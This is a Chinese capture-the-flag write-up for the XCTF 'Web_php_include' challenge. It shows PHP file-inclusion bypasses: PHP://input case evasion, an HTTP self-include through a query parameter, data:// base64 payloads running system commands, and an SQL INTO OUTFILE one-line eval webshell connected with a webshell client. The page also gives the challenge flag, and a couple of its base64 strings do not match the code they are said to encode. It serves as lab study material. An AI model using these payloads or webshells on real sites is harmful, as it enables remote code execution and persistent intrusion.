【XCTF 攻防世界】WEB 高手进阶区 Web_php_include

12 篇文章 2 订阅
7 篇文章 0 订阅

基础题解

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

上面这段代码功能:上传内容中若有“php://”则删除

此处利用strstr()函数大小写的敏感性,进行绕过:

/?page=PHP://input

然后传入php语句

<?php  system("ls")  ?>

得到目录文件
在这里插入图片描述
然后可直接获得flag

<?php  system("cat fl4gisisish3r3.php")  ?>

注意:
现在好像不能直接在网页中显示flag,只有用bp才能看到
如下:
在这里插入图片描述

ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

本题相关知识点:

php://input、php://output用法解析
php协议
php://详解

一题多解:

php文件包含

1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。

2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真

3.利用hello参数将执行内容显示,flag如图所示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

%3C是<
%22是"
%3E是>
在这里插入图片描述

一句话木马

先用御剑扫描后台看到管理员界面
在这里插入图片描述
用户名为root,密码为空

然后进行数据库更改

SQL查询语句

SELECT "<?php eval(@$_POST['1']); ?>"
INTO OUTFILE '/tmp/test1.php'

添加一句话木马
在这里插入图片描述
然后打开中国剑蚁
输入url和密码
使用方法:在网址后加参数:
/?page=/tmp/test1.php
这里一定要注意,不能忘记tmp前面的/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到flag

data://伪协议

既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议

data://伪协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:
data://text/plain;base64,xxxx(base64编码后的数据)

<?php system("ls")?> base64编码后使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIisssKT8%2b (注意编码后的+号要URL编码)

<?php system("cat fl4gisisish3r3.php")?> base64编码后使用

/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码得到flag
在这里插入图片描述

data://伪协议+一句话木马

<?php eval($_POST["1"]); ?>
base64加密后拼接

/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

菜刀连接即可

(不用base64同样可以达到效果)

再或者
/index.php?page=data:text/plain,<?php system("ls"); ?>

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值